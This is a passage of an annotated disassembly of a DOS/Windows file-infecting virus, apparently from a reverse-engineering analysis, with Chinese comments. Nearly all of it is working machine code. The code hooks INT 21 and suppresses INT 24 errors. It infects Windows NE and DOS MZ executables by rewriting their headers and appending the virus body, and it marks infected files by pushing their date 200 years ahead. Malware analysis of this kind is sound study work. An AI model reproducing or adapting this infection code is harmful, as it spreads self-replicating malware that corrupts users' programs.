F6C8:07D5 52　　　　　　PUSH　　DX
F6C8:07D6 0306030F　　　ADD　　 AX,[0F03]
F6C8:07DA 1316050F　　　ADC　　 DX,[0F05]
F6C8:07DE 050002　　　　ADD　　 AX,0200
F6C8:07E1 83D200　　　　ADC　　 DX,+00
F6C8:07E4 8BCA　　　　　MOV　　 CX,DX
F6C8:07E6 92　　　　　　XCHG　　AX,DX
F6C8:07E7 E8CA04　　　　CALL　　0CB4
F6C8:07EA 5A　　　　　　POP　　 DX
F6C8:07EB 58　　　　　　POP　　 AX
F6C8:07EC 2D4000　　　　SUB　　 AX,0040
F6C8:07EF 83DA00　　　　SBB　　 DX,+00
F6C8:07F2 B90002　　　　MOV　　 CX,0200
F6C8:07F5 F7F1　　　　　DIV　　 CX
F6C8:07F7 8BFA　　　　　MOV　　 DI,DX
F6C8:07F9 95　　　　　　XCHG　　AX,BP
F6C8:07FA 83ED01　　　　SUB　　 BP,+01
F6C8:07FD 722E　　　　　JB　　　082D
F6C8:07FF B9FFFF　　　　MOV　　 CX,FFFF
F6C8:0802 BAF8FB　　　　MOV　　 DX,FBF8
F6C8:0805 E8AF04　　　　CALL　　0CB7
F6C8:0808 B43F　　　　　MOV　　 AH,3F
F6C8:080A B90002　　　　MOV　　 CX,0200
F6C8:080D BA4F0F　　　　MOV　　 DX,0F4F
F6C8:0810 E88C04　　　　CALL　　0C9F
F6C8:0813 7263　　　　　JB　　　0878
F6C8:0815 B9FFFF　　　　MOV　　 CX,FFFF
F6C8:0818 BA08FE　　　　MOV　　 DX,FE08
F6C8:081B E89904　　　　CALL　　0CB7
F6C8:081E B440　　　　　MOV　　 AH,40
F6C8:0820 B90002　　　　MOV　　 CX,0200
F6C8:0823 BA4F0F　　　　MOV　　 DX,0F4F
F6C8:0826 E87604　　　　CALL　　0C9F
F6C8:0829 73CF　　　　　JNB　　 07FA
F6C8:082B EB4B　　　　　JMP　　 0878
F6C8:082D B9FFFF　　　　MOV　　 CX,FFFF
F6C8:0830 8D950802　　　LEA　　 DX,[DI+0208]
F6C8:0834 F7DA　　　　　NEG　　 DX
F6C8:0836 E87E04　　　　CALL　　0CB7
F6C8:0839 B43F　　　　　MOV　　 AH,3F
F6C8:083B 8BCF　　　　　MOV　　 CX,DI
F6C8:083D BA4F0F　　　　MOV　　 DX,0F4F
F6C8:0840 E85C04　　　　CALL　　0C9F
F6C8:0843 7233　　　　　JB　　　0878
F6C8:0845 B9FFFF　　　　MOV　　 CX,FFFF
F6C8:0848 8D5540　　　　LEA　　 DX,[DI+40]
F6C8:084B F7DA　　　　　NEG　　 DX
F6C8:084D E86704　　　　CALL　　0CB7
F6C8:0850 B440　　　　　MOV　　 AH,40
F6C8:0852 8D4D48　　　　LEA　　 CX,[DI+48]
F6C8:0855 BA070F　　　　MOV　　 DX,0F07
F6C8:0858 E84404　　　　CALL　　0C9F
F6C8:085B 721B　　　　　JB　　　0878
F6C8:085D E83004　　　　CALL　　0C90
F6C8:0860 7216　　　　　JB　　　0878
F6C8:0862 B9FFFF　　　　MOV　　 CX,FFFF
F6C8:0865 BA39F1　　　　MOV　　 DX,F139
F6C8:0868 E84F04　　　　CALL　　0CBA
F6C8:086B B440　　　　　MOV　　 AH,40
F6C8:086D 41　　　　　　INC　　 CX
F6C8:086E E88904　　　　CALL　　0CFA
F6C8:0871 E86104　　　　CALL　　0CD5
F6C8:0874 806D10C8　　　SUB　　 BYTE PTR [DI+10],C8
F6C8:0878 59　　　　　　POP　　 CX
F6C8:0879 5A　　　　　　POP　　 DX
F6C8:087A E83704　　　　CALL　　0CB4
F6C8:087D E85504　　　　CALL　　0CD5
F6C8:0880 8F4505　　　　POP　　 WORD PTR [DI+05]
F6C8:0883 E85303　　　　CALL　　0BD9
F6C8:0886 E9C900　　　　JMP　　 0952
;=========================================================================
F6C8:0889 80FC3E　　　　CMP　　 AH,3E
F6C8:088C 750C　　　　　JNZ　　 089A
F6C8:088E E82503　　　　CALL　　0BB6
F6C8:0891 E8E100　　　　CALL　　0975
F6C8:0894 E84203　　　　CALL　　0BD9
F6C8:0897 E9B800　　　　JMP　　 0952
;=========================================================================
F6C8:089A 80FC43　　　　CMP　　 AH,43
F6C8:089D 7419　　　　　JZ　　　08B8
F6C8:089F 80FC56　　　　CMP　　 AH,56
F6C8:08A2 7414　　　　　JZ　　　08B8
F6C8:08A4 3D004B　　　　CMP　　 AX,4B00
F6C8:08A7 7205　　　　　JB　　　08AE
F6C8:08A9 3D054B　　　　CMP　　 AX,4B05
F6C8:08AC 7603　　　　　JBE　　 08B1
F6C8:08AE E9A100　　　　JMP　　 0952
F6C8:08B1 7505　　　　　JNZ　　 08B8
F6C8:08B3 8BF2　　　　　MOV　　 SI,DX
F6C8:08B5 C55404　　　　LDS　　 DX,[SI+04]
;==========================================================================
F6C8:08B8 50　　　　　　PUSH　　AX
F6C8:08B9 E8FA02　　　　CALL　　0BB6
F6C8:08BC B8003D　　　　MOV　　 AX,3D00
F6C8:08BF E83804　　　　CALL　　0CFA
F6C8:08C2 720F　　　　　JB　　　08D3
F6C8:08C4 93　　　　　　XCHG　　AX,BX
F6C8:08C5 53　　　　　　PUSH　　BX
F6C8:08C6 52　　　　　　PUSH　　DX
F6C8:08C7 1E　　　　　　PUSH　　DS
F6C8:08C8 E8AA00　　　　CALL　　0975
F6C8:08CB 1F　　　　　　POP　　 DS
F6C8:08CC 5A　　　　　　POP　　 DX
F6C8:08CD 5B　　　　　　POP　　 BX
F6C8:08CE B43E　　　　　MOV　　 AH,3E
F6C8:08D0 E82704　　　　CALL　　0CFA
F6C8:08D3 E80303　　　　CALL　　0BD9
F6C8:08D6 58　　　　　　POP　　 AX
F6C8:08D7 3D014B　　　　CMP　　 AX,4B01
F6C8:08DA 751F　　　　　JNZ　　 08FB
F6C8:08DC 33ED　　　　　XOR　　 BP,BP
F6C8:08DE B8003D　　　　MOV　　 AX,3D00
F6C8:08E1 E81604　　　　CALL　　0CFA
F6C8:08E4 7211　　　　　JB　　　08F7
F6C8:08E6 93　　　　　　XCHG　　AX,BX
F6C8:08E7 E8EB03　　　　CALL　　0CD5
F6C8:08EA 7606　　　　　JBE　　 08F2
F6C8:08EC E8D103　　　　CALL　　0CC0
F6C8:08EF 7201　　　　　JB　　　08F2
F6C8:08F1 45　　　　　　INC　　 BP
F6C8:08F2 B43E　　　　　MOV　　 AH,3E
F6C8:08F4 E80304　　　　CALL　　0CFA
F6C8:08F7 0BED　　　　　OR　　　BP,BP
F6C8:08F9 7502　　　　　JNZ　　 08FD
F6C8:08FB EB55　　　　　JMP　　 0952
F6C8:08FD 07　　　　　　POP　　 ES
F6C8:08FE 1F　　　　　　POP　　 DS
F6C8:08FF 61　　　　　　POPA　　
F6C8:0900 53　　　　　　PUSH　　BX
F6C8:0901 06　　　　　　PUSH　　ES
F6C8:0902 E88604　　　　CALL　　0D8B
F6C8:0905 07　　　　　　POP　　 ES
F6C8:0906 5F　　　　　　POP　　 DI
F6C8:0907 50　　　　　　PUSH　　AX
F6C8:0908 7304　　　　　JNB　　 090E
F6C8:090A 58　　　　　　POP　　 AX
F6C8:090B E95EFC　　　　JMP　　 056C
F6C8:090E B451　　　　　MOV　　 AH,51
F6C8:0910 CD21　　　　　INT　　 21　　　(DOS)
F6C8:0912 8BEB　　　　　MOV　　 BP,BX
F6C8:0914 BEC70E　　　　MOV　　 SI,0EC7
F6C8:0917 0E　　　　　　PUSH　　CS
F6C8:0918 1F　　　　　　POP　　 DS
F6C8:0919 AD　　　　　　LODSW　
F6C8:091A E88F02　　　　CALL　　0BAC
F6C8:091D 7409　　　　　JZ　　　0928
F6C8:091F 48　　　　　　DEC　　 AX
F6C8:0920 26　　　　　　ES:
F6C8:0921 C47D12　　　　LES　　 DI,[DI+12]
F6C8:0924 AB　　　　　　STOSW　
F6C8:0925 A4　　　　　　MOVSB　
F6C8:0926 EBE2　　　　　JMP　　 090A
F6C8:0928 83C70E　　　　ADD　　 DI,+0E
F6C8:092B 1E　　　　　　PUSH　　DS
F6C8:092C 26　　　　　　ES:
F6C8:092D C51D　　　　　LDS　　 BX,[DI]
F6C8:092F 8B0F　　　　　MOV　　 CX,[BX]
F6C8:0931 1F　　　　　　POP　　 DS
F6C8:0932 8B440E　　　　MOV　　 AX,[SI+0E]
F6C8:0935 48　　　　　　DEC　　 AX
F6C8:0936 48　　　　　　DEC　　 AX
F6C8:0937 AB　　　　　　STOSW　
F6C8:0938 93　　　　　　XCHG　　AX,BX
F6C8:0939 8D4610　　　　LEA　　 AX,[BP+10]
F6C8:093C 50　　　　　　PUSH　　AX
F6C8:093D 03440C　　　　ADD　　 AX,[SI+0C]
F6C8:0940 AB　　　　　　STOSW　
F6C8:0941 1E　　　　　　PUSH　　DS
F6C8:0942 8ED8　　　　　MOV　　 DS,AX
F6C8:0944 890F　　　　　MOV　　 [BX],CX
F6C8:0946 1F　　　　　　POP　　 DS
F6C8:0947 8B4412　　　　MOV　　 AX,[SI+12]
F6C8:094A AB　　　　　　STOSW　
F6C8:094B 58　　　　　　POP　　 AX
F6C8:094C 034414　　　　ADD　　 AX,[SI+14]
F6C8:094F AB　　　　　　STOSW　
F6C8:0950 EBB8　　　　　JMP　　 090A
;==========================================================================
F6C8:0952 07　　　　　　POP　　 ES
F6C8:0953 1F　　　　　　POP　　 DS
F6C8:0954 61　　　　　　POPA　　 ;INT 21 CALL SS:[XXXX]
F6C8:0955 2E　　　　　　CS: ;的返回地址 (1157)
F6C8:0956 FF365711　　　PUSH　　WORD PTR [1157]
F6C8:095A 55　　　　　　PUSH　　BP
F6C8:095B 2E　　　　　　CS:
F6C8:095C 8B2E5311　　　MOV　　 BP,[1153] ;调用地址
F6C8:0960 8B6E00　　　　MOV　　 BP,[BP+00]
F6C8:0963 2E　　　　　　CS:
F6C8:0964 892E5711　　　MOV　　 [1157],BP
F6C8:0968 5D　　　　　　POP　　 BP
F6C8:0969 2E　　　　　　CS:
F6C8:096A FF365911　　　PUSH　　WORD PTR [1159] ;调用 INT 21 的段地址
F6C8:096E 2E　　　　　　CS:
F6C8:096F FF365711　　　PUSH　　WORD PTR [1157] ;调用地址
F6C8:0973 CB　　　　　　RETF　　 ;到原 INT 21 功能
F6C8:0974 C3　　　　　　RET　　
;==========================================================================
F6C8:0975 E85D03　　　　CALL　　0CD5
F6C8:0978 72FA　　　　　JB　　　0974
F6C8:097A 75F8　　　　　JNZ　　 0974
F6C8:097C 833D01　　　　CMP　　 WORD PTR [DI],+01
F6C8:097F 75F3　　　　　JNZ　　 0974
F6C8:0981 F645053E　　　TEST　　BYTE PTR [DI+05],3E
F6C8:0985 7514　　　　　JNZ　　 099B
F6C8:0987 BAF503　　　　MOV　　 DX,03F5
F6C8:098A B004　　　　　MOV　　 AL,04
F6C8:098C EE　　　　　　OUT　　 DX,AL
F6C8:098D B504　　　　　MOV　　 CH,04
F6C8:098F E2FE　　　　　LOOP　　098F
F6C8:0991 EE　　　　　　OUT　　 DX,AL
F6C8:0992 B504　　　　　MOV　　 CH,04
F6C8:0994 E2FE　　　　　LOOP　　0994
F6C8:0996 EC　　　　　　IN　　　AL,DX
F6C8:0997 A840　　　　　TEST　　AL,40
F6C8:0999 75D9　　　　　JNZ　　 0974
F6C8:099B B445　　　　　MOV　　 AH,45
F6C8:099D E85A03　　　　CALL　　0CFA
F6C8:09A0 72D2　　　　　JB　　　0974
F6C8:09A2 53　　　　　　PUSH　　BX
F6C8:09A3 93　　　　　　XCHG　　AX,BX
F6C8:09A4 B43E　　　　　MOV　　 AH,3E
F6C8:09A6 E85103　　　　CALL　　0CFA
F6C8:09A9 5B　　　　　　POP　　 BX
F6C8:09AA 72C8　　　　　JB　　　0974
F6C8:09AC B80045　　　　MOV　　 AX,4500
F6C8:09AF 864504　　　　XCHG　　AL,[DI+04]
F6C8:09B2 A81C　　　　　TEST　　AL,1C
F6C8:09B4 75BE　　　　　JNZ　　 0974
F6C8:09B6 50　　　　　　PUSH　　AX
F6C8:09B7 99　　　　　　CWD　　
F6C8:09B8 E83F03　　　　CALL　　0CFA
F6C8:09BB 93　　　　　　XCHG　　AX,BX
F6C8:09BC C745020200　　MOV　　 WORD PTR [DI+02],0002
F6C8:09C1 B84300　　　　MOV　　 AX,0043
F6C8:09C4 324528　　　　XOR　　 AL,[DI+28]
F6C8:09C7 BD4F4D　　　　MOV　　 BP,4D4F
F6C8:09CA 336D29　　　　XOR　　 BP,[DI+29]
F6C8:09CD 0BE8　　　　　OR　　　BP,AX
F6C8:09CF E8BB02　　　　CALL　　0C8D
F6C8:09D2 7223　　　　　JB　　　09F7
F6C8:09D4 8BF2　　　　　MOV　　 SI,DX
F6C8:09D6 BF870E　　　　MOV　　 DI,0E87
F6C8:09D9 0E　　　　　　PUSH　　CS
F6C8:09DA 07　　　　　　POP　　 ES
F6C8:09DB F3　　　　　　REPZ
F6C8:09DC A4　　　　　　MOVSB　
F6C8:09DD E8CD02　　　　CALL　　0CAD
F6C8:09E0 91　　　　　　XCHG　　AX,CX
F6C8:09E1 8B05　　　　　MOV　　 AX,[DI]
F6C8:09E3 E8C601　　　　CALL　　0BAC
F6C8:09E6 7420　　　　　JZ　　　0A08
F6C8:09E8 0BD5　　　　　OR　　　DX,BP
F6C8:09EA 750B　　　　　JNZ　　 09F7
F6C8:09EC B0E9　　　　　MOV　　 AL,E9
F6C8:09EE AA　　　　　　STOSB　
F6C8:09EF 91　　　　　　XCHG　　AX,CX
F6C8:09F0 2D0300　　　　SUB　　 AX,0003
F6C8:09F3 AB　　　　　　STOSW　
F6C8:09F4 E98D01　　　　JMP　　 0B84
F6C8:09F7 E8DB02　　　　CALL　　0CD5
F6C8:09FA 58　　　　　　POP　　 AX
F6C8:09FB 884504　　　　MOV　　 [DI+04],AL
F6C8:09FE 804D0640　　　OR　　　BYTE PTR [DI+06],40
F6C8:0A02 B43E　　　　　MOV　　 AH,3E
F6C8:0A04 E8F302　　　　CALL　　0CFA
F6C8:0A07 C3　　　　　　RET　　
;=======================================================================
; 感染 .EXE 文件代码部分
;=======================================================================
F6C8:0A08 52　　　　　　PUSH　　DX
F6C8:0A09 51　　　　　　PUSH　　CX
F6C8:0A0A E82102　　　　CALL　　0C2E ;检测是否 WINDOWS 文件
F6C8:0A0D 58　　　　　　POP　　 AX ;是,转 0A14
F6C8:0A0E 5A　　　　　　POP　　 DX
F6C8:0A0F 7303　　　　　JNB　　 0A14
F6C8:0A11 E9EB00　　　　JMP　　 0AFF ;DOS .EXE 转0AFF
;=======================================================================
;传染 WINDOWS .EXE 文件及新格式 .EXE 文件
F6C8:0A14 F6441580　　　TEST　　BYTE PTR [SI+15],80
F6C8:0A18 75DD　　　　　JNZ　　 09F7 ;.DLL 不传染
F6C8:0A1A 8B4C3A　　　　MOV　　 CX,[SI+3A] ;取移位值
F6C8:0A1D D1EA　　　　　SHR　　 DX,1
F6C8:0A1F D1D8　　　　　RCR　　 AX,1
F6C8:0A21 72D4　　　　　JB　　　09F7 ;文件长不是移位的
F6C8:0A23 E2F8　　　　　LOOP　　0A1D ;整数倍不传染
F6C8:0A25 0BD2　　　　　OR　　　DX,DX
F6C8:0A27 75CE　　　　　JNZ　　 09F7 ;文件 > 65535*移位单位不传染
F6C8:0A29 A3750E　　　　MOV　　 [0E75],AX ;文件大小 (新的 CS:IP 入口段)
F6C8:0A2C B108　　　　　MOV　　 CL,08
F6C8:0A2E 294D3C　　　　SUB　　 [DI+3C],CX ;新 NE 文件头位置前移 8 字节
F6C8:0A31 19553E　　　　SBB　　 [DI+3E],DX
F6C8:0A34 AC　　　　　　LODSB　
F6C8:0A35 0AC0　　　　　OR　　　AL,AL ;如果这 8 字节不为 0
F6C8:0A37 E1FB　　　　　LOOPE　 0A34 ;则不传染
F6C8:0A39 75BC　　　　　JNZ　　 09F7
F6C8:0A3B 8B4422　　　　MOV　　 AX,[SI+22] ;段地址表偏移量
F6C8:0A3E B105　　　　　MOV　　 CL,05
F6C8:0A40 56　　　　　　PUSH　　SI ;以下修改 NE 文件头下列部分
F6C8:0A41 BD0400　　　　MOV　　 BP,0004 ; 0004　登记表偏移
F6C8:0A44 3E　　　　　　DS: ; 0024　资源表偏移
F6C8:0A45 3B02　　　　　CMP　　 AX,[BP+SI] ; 0026　驻留表偏移
F6C8:0A47 7304　　　　　JNB　　 0A4D ; 0028　模块引用表偏移
F6C8:0A49 3E　　　　　　DS: ; 002A　引用名表偏移
F6C8:0A4A 830208　　　　ADD　　 WORD PTR [BP+SI],+08
F6C8:0A4D BD2200　　　　MOV　　 BP,0022
F6C8:0A50 46　　　　　　INC　　 SI
F6C8:0A51 46　　　　　　INC　　 SI
F6C8:0A52 E2F0　　　　　LOOP　　0A44
F6C8:0A54 5E　　　　　　POP　　 SI
F6C8:0A55 BD6302　　　　MOV　　 BP,0263
F6C8:0A58 8B441C　　　　MOV　　 AX,[SI+1C] ;段计数器 + 1
F6C8:0A5B 50　　　　　　PUSH　　AX
F6C8:0A5C 40　　　　　　INC　　 AX
F6C8:0A5D 89441C　　　　MOV　　 [SI+1C],AX ;入口 CS:IP 改为
F6C8:0A60 876C14　　　　XCHG　　BP,[SI+14] ;新段地址:0263
F6C8:0A63 874416　　　　XCHG　　AX,[SI+16]
F6C8:0A66 892E850E　　　MOV　　 [0E85],BP ;保存原 CS:IP 于 0E83
F6C8:0A6A A3830E　　　　MOV　　 [0E83],AX
F6C8:0A6D 58　　　　　　POP　　 AX
F6C8:0A6E BD0800　　　　MOV　　 BP,0008 ;段地址表长度
F6C8:0A71 F7E5　　　　　MUL　　 BP
F6C8:0A73 034422　　　　ADD　　 AX,[SI+22] ;加上段地址表偏移
F6C8:0A76 13D1　　　　　ADC　　 DX,CX ;以下将整个 NE 文件头
F6C8:0A78 2D4000　　　　SUB　　 AX,0040 ;以及段地址表前移 8 字节
F6C8:0A7B 1BD1　　　　　SBB　　 DX,CX ;以便插入一个新的段地址表项
F6C8:0A7D BD0002　　　　MOV　　 BP,0200
F6C8:0A80 F7F5　　　　　DIV　　 BP
F6C8:0A82 95　　　　　　XCHG　　AX,BP ;先移动余数
F6C8:0A83 B43F　　　　　MOV　　 AH,3F
F6C8:0A85 8BCA　　　　　MOV　　 CX,DX
F6C8:0A87 BA4F0F　　　　MOV　　 DX,0F4F
F6C8:0A8A E81202　　　　CALL　　0C9F
F6C8:0A8D 7246　　　　　JB　　　0AD5
F6C8:0A8F 51　　　　　　PUSH　　CX
F6C8:0A90 C4553C　　　　LES　　 DX,[DI+3C]
F6C8:0A93 8CC1　　　　　MOV　　 CX,ES
F6C8:0A95 E81C02　　　　CALL　　0CB4
F6C8:0A98 59　　　　　　POP　　 CX
F6C8:0A99 B440　　　　　MOV　　 AH,40
F6C8:0A9B 83C140　　　　ADD　　 CX,+40
F6C8:0A9E BA0F0F　　　　MOV　　 DX,0F0F
F6C8:0AA1 E8FB01　　　　CALL　　0C9F
F6C8:0AA4 722F　　　　　JB　　　0AD5
F6C8:0AA6 83ED01　　　　SUB　　 BP,+01 ;再一次移动 200H 字节
F6C8:0AA9 722D　　　　　JB　　　0AD8
F6C8:0AAB 33C9　　　　　XOR　　 CX,CX
F6C8:0AAD BA0800　　　　MOV　　 DX,0008
F6C8:0AB0 E80402　　　　CALL　　0CB7
F6C8:0AB3 B43F　　　　　MOV　　 AH,3F
F6C8:0AB5 B502　　　　　MOV　　 CH,02
F6C8:0AB7 BA4F0F　　　　MOV　　 DX,0F4F
F6C8:0ABA E8E201　　　　CALL　　0C9F
F6C8:0ABD 7216　　　　　JB　　　0AD5
F6C8:0ABF B9FFFF　　　　MOV　　 CX,FFFF
F6C8:0AC2 BAF8FD　　　　MOV　　 DX,FDF8
F6C8:0AC5 E8EF01　　　　CALL　　0CB7
F6C8:0AC8 B440　　　　　MOV　　 AH,40
F6C8:0ACA B90002　　　　MOV　　 CX,0200
F6C8:0ACD BA4F0F　　　　MOV　　 DX,0F4F
F6C8:0AD0 E8CC01　　　　CALL　　0C9F
F6C8:0AD3 73D1　　　　　JNB　　 0AA6
F6C8:0AD5 E91FFF　　　　JMP　　 09F7
F6C8:0AD8 B440　　　　　MOV　　 AH,40 ;写入新的段地址表项
F6C8:0ADA B90800　　　　MOV　　 CX,0008 ;(病毒的段地址表项)
F6C8:0ADD BA750E　　　　MOV　　 DX,0E75
F6C8:0AE0 E8BC01　　　　CALL　　0C9F
F6C8:0AE3 72F0　　　　　JB　　　0AD5
F6C8:0AE5 A32C03　　　　MOV　　 [032C],AX ;032E:032C = FFFF:0000
F6C8:0AE8 892E2E03　　　MOV　　 [032E],BP
F6C8:0AEC 40　　　　　　INC　　 AX
F6C8:0AED A37D0E　　　　MOV　　 [0E7D],AX ;AX = 0001
F6C8:0AF0 C7067F0E0304　MOV　　 WORD PTR [0E7F],0403
F6C8:0AF6 C706810E2C03　MOV　　 WORD PTR [0E81],032C
F6C8:0AFC E98500　　　　JMP　　 0B84
;===================================================================
;传染 DOS .EXE 文件
F6C8:0AFF E89F00　　　　CALL　　0BA1 ;文件长/200H
F6C8:0B02 2B4504　　　　SUB　　 AX,[DI+04]
F6C8:0B05 75CE　　　　　JNZ　　 0AD5
F6C8:0B07 2B5502　　　　SUB　　 DX,[DI+02]
F6C8:0B0A 75C9　　　　　JNZ　　 0AD5 ;有覆盖部分不传染
F6C8:0B0C 837D0CFF　　　CMP　　 WORD PTR [DI+0C],-01
F6C8:0B10 75C3　　　　　JNZ　　 0AD5 ;最大要求内存不为-1不传染
F6C8:0B12 3B451A　　　　CMP　　 AX,[DI+1A] ;覆盖号不为 0 (主程序) 不传染
F6C8:0B15 75BE　　　　　JNZ　　 0AD5
F6C8:0B17 E89301　　　　CALL　　0CAD ;DOS 4202 功能
F6C8:0B1A BE1000　　　　MOV　　 SI,0010 ;文件长 > 640K 不传染
F6C8:0B1D 3BD6　　　　　CMP　　 DX,SI
F6C8:0B1F 73B4　　　　　JNB　　 0AD5
F6C8:0B21 F7F6　　　　　DIV　　 SI
F6C8:0B23 2B4508　　　　SUB　　 AX,[DI+08] ;减去文件头大小
F6C8:0B26 50　　　　　　PUSH　　AX
F6C8:0B27 52　　　　　　PUSH　　DX
F6C8:0B28 875514　　　　XCHG　　DX,[DI+14] ;设置新的 CS:IP
F6C8:0B2B 874516　　　　XCHG　　AX,[DI+16] ;到文件尾 (病毒开始处)
F6C8:0B2E 52　　　　　　PUSH　　DX
F6C8:0B2F 034508　　　　ADD　　 AX,[DI+08]
F6C8:0B32 F7EE　　　　　IMUL　　SI
F6C8:0B34 5E　　　　　　POP　　 SI
F6C8:0B35 2D0200　　　　SUB　　 AX,0002
F6C8:0B38 1BD1　　　　　SBB　　 DX,CX
F6C8:0B3A 03C6　　　　　ADD　　 AX,SI ;移动文件指针到
F6C8:0B3C 13CA　　　　　ADC　　 CX,DX ;开始执行前 2 字节
F6C8:0B3E 92　　　　　　XCHG　　AX,DX
F6C8:0B3F E87201　　　　CALL　　0CB4 ;DOS 4200
F6C8:0B42 B43F　　　　　MOV　　 AH,3F ;读出 2 字节
F6C8:0B44 B90200　　　　MOV　　 CX,0002
F6C8:0B47 BA4F11　　　　MOV　　 DX,114F
F6C8:0B4A E85201　　　　CALL　　0C9F
F6C8:0B4D 5A　　　　　　POP　　 DX
F6C8:0B4E 58　　　　　　POP　　 AX
F6C8:0B4F 724D　　　　　JB　　　0B9E
F6C8:0B51 813E4F115242　CMP　　 WORD PTR [114F],4252
F6C8:0B57 7445　　　　　JZ　　　0B9E ;这 2 字节是 4252 不传染
F6C8:0B59 81C2C710　　　ADD　　 DX,10C7 ;?????
F6C8:0B5D 48　　　　　　DEC　　 AX
F6C8:0B5E 7409　　　　　JZ　　　0B69
F6C8:0B60 83C210　　　　ADD　　 DX,+10
F6C8:0B63 83FA80　　　　CMP　　 DX,-80
F6C8:0B66 72F5　　　　　JB　　　0B5D
F6C8:0B68 48　　　　　　DEC　　 AX
F6C8:0B69 40　　　　　　INC　　 AX
F6C8:0B6A 80E2FE　　　　AND　　 DL,FE
F6C8:0B6D 895510　　　　MOV　　 [DI+10],DX
F6C8:0B70 89450E　　　　MOV　　 [DI+0E],AX
F6C8:0B73 E83701　　　　CALL　　0CAD ;DOS 4202 功能
F6C8:0B76 05C70E　　　　ADD　　 AX,0EC7 ;新的文件长
F6C8:0B79 13D1　　　　　ADC　　 DX,CX
F6C8:0B7B E82300　　　　CALL　　0BA1
F6C8:0B7E 894504　　　　MOV　　 [DI+04],AX ;设置新的文件长
F6C8:0B81 895502　　　　MOV　　 [DI+02],DX
F6C8:0B84 E80901　　　　CALL　　0C90 ;写文件头 40H 字节
F6C8:0B87 7215　　　　　JB　　　0B9E
F6C8:0B89 E82101　　　　CALL　　0CAD ;DOS 4202 功能
F6C8:0B8C B440　　　　　MOV　　 AH,40
F6C8:0B8E B9C70E　　　　MOV　　 CX,0EC7 ;写病毒 0EC7 字节
F6C8:0B91 99　　　　　　CWD　　
F6C8:0B92 E80A01　　　　CALL　　0C9F
F6C8:0B95 7207　　　　　JB　　　0B9E
F6C8:0B97 E83B01　　　　CALL　　0CD5 ;取文件句柄表地址
F6C8:0B9A 804510C8　　　ADD　　 BYTE PTR [DI+10],C8 ;设置传染标记
F6C8:0B9E E956FE　　　　JMP　　 09F7 ;文件日期加上 200 年
;======================================================================
F6C8:0BA1 B90002　　　　MOV　　 CX,0200
F6C8:0BA4 F7F1　　　　　DIV　　 CX
F6C8:0BA6 0BD2　　　　　OR　　　DX,DX
F6C8:0BA8 7401　　　　　JZ　　　0BAB
F6C8:0BAA 40　　　　　　INC　　 AX
F6C8:0BAB C3　　　　　　RET　　
;======================================================================
F6C8:0BAC 40　　　　　　INC　　 AX
F6C8:0BAD 3D4E5A　　　　CMP　　 AX,5A4E
F6C8:0BB0 7403　　　　　JZ　　　0BB5
F6C8:0BB2 3D5B4D　　　　CMP　　 AX,4D5B
F6C8:0BB5 C3　　　　　　RET　　
;=======================================================================
;设置新的 INT 24 中断向量到 CS:0BEB
F6C8:0BB6 50　　　　　　PUSH　　AX
F6C8:0BB7 53　　　　　　PUSH　　BX
F6C8:0BB8 52　　　　　　PUSH　　DX
F6C8:0BB9 1E　　　　　　PUSH　　DS
F6C8:0BBA 06　　　　　　PUSH　　ES
F6C8:0BBB 0E　　　　　　PUSH　　CS
F6C8:0BBC 1F　　　　　　POP　　 DS
F6C8:0BBD B82435　　　　MOV　　 AX,3524
F6C8:0BC0 E83701　　　　CALL　　0CFA
F6C8:0BC3 891E7311　　　MOV　　 [1173],BX
F6C8:0BC7 8C067511　　　MOV　　 [1175],ES
F6C8:0BCB B425　　　　　MOV　　 AH,25
F6C8:0BCD BAEB0B　　　　MOV　　 DX,0BEB
F6C8:0BD0 E82701　　　　CALL　　0CFA
F6C8:0BD3 07　　　　　　POP　　 ES
F6C8:0BD4 1F　　　　　　POP　　 DS
F6C8:0BD5 5A　　　　　　POP　　 DX
F6C8:0BD6 5B　　　　　　POP　　 BX
F6C8:0BD7 58　　　　　　POP　　 AX
F6C8:0BD8 C3　　　　　　RET　　
;==========================================================================
;恢复原 INT 24 中断向量
F6C8:0BD9 50　　　　　　PUSH　　AX
F6C8:0BDA 52　　　　　　PUSH　　DX
F6C8:0BDB 1E　　　　　　PUSH　　DS
F6C8:0BDC B82425　　　　MOV　　 AX,2524
F6C8:0BDF 2E　　　　　　CS:
F6C8:0BE0 C5167311　　　LDS　　 DX,[1173]
F6C8:0BE4 E81301　　　　CALL　　0CFA
F6C8:0BE7 1F　　　　　　POP　　 DS
F6C8:0BE8 5A　　　　　　POP　　 DX
F6C8:0BE9 58　　　　　　POP　　 AX
F6C8:0BEA C3　　　　　　RET　　
;==========================================================================
;新的 INT 24 中断程序, 出错时返回失败 (Fail)
F6C8:0BEB B003　　　　　MOV　　 AL,03
F6C8:0BED CF　　　　　　IRET　　
;==========================================================================
F6C8:0BEE 832E030F08　　SUB　　 WORD PTR [0F03],+08
F6C8:0BF3 831E050F00　　SBB　　 WORD PTR [0F05],+00
F6C8:0BF8 E83300　　　　CALL　　0C2E
F6C8:0BFB 7230　　　　　JB　　　0C2D
F6C8:0BFD B108　　　　　MOV　　 CL,08
F6C8:0BFF 882C　　　　　MOV　　 [SI],CH
F6C8:0C01 46　　　　　　INC　　 SI
F6C8:0C02 E2FB　　　　　LOOP　　0BFF
F6C8:0C04 FF4C1C　　　　DEC　　 WORD PTR [SI+1C]
F6C8:0C07 A1C50E　　　　MOV　　 AX,[0EC5]
F6C8:0C0A 894414　　　　MOV　　 [SI+14],AX
F6C8:0C0D A1C30E　　　　MOV　　 AX,[0EC3]
F6C8:0C10 894416　　　　MOV　　 [SI+16],AX
F6C8:0C13 8B4422　　　　MOV　　 AX,[SI+22]
F6C8:0C16 B105　　　　　MOV　　 CL,05
F6C8:0C18 56　　　　　　PUSH　　SI
F6C8:0C19 BD0400　　　　MOV　　 BP,0004
F6C8:0C1C 3E　　　　　　DS:
F6C8:0C1D 3B02　　　　　CMP　　 AX,[BP+SI]
F6C8:0C1F 7304　　　　　JNB　　 0C25
F6C8:0C21 3E　　　　　　DS:
F6C8:0C22 832A08　　　　SUB　　 WORD PTR [BP+SI],+08
F6C8:0C25 BD2200　　　　MOV　　 BP,0022
F6C8:0C28 46　　　　　　INC　　 SI
F6C8:0C29 46　　　　　　INC　　 SI
F6C8:0C2A E2F0　　　　　LOOP　　0C1C
F6C8:0C2C 5E　　　　　　POP　　 SI
F6C8:0C2D C3　　　　　　RET　　
;=======================================================================
;检测是否 WINDOWS 可执行程序或新格式可执行程序
F6C8:0C2E 833EDF0E40　　CMP　　 WORD PTR [0EDF],+40
F6C8:0C33 7225　　　　　JB　　　0C5A ;重定位表地址 < 40
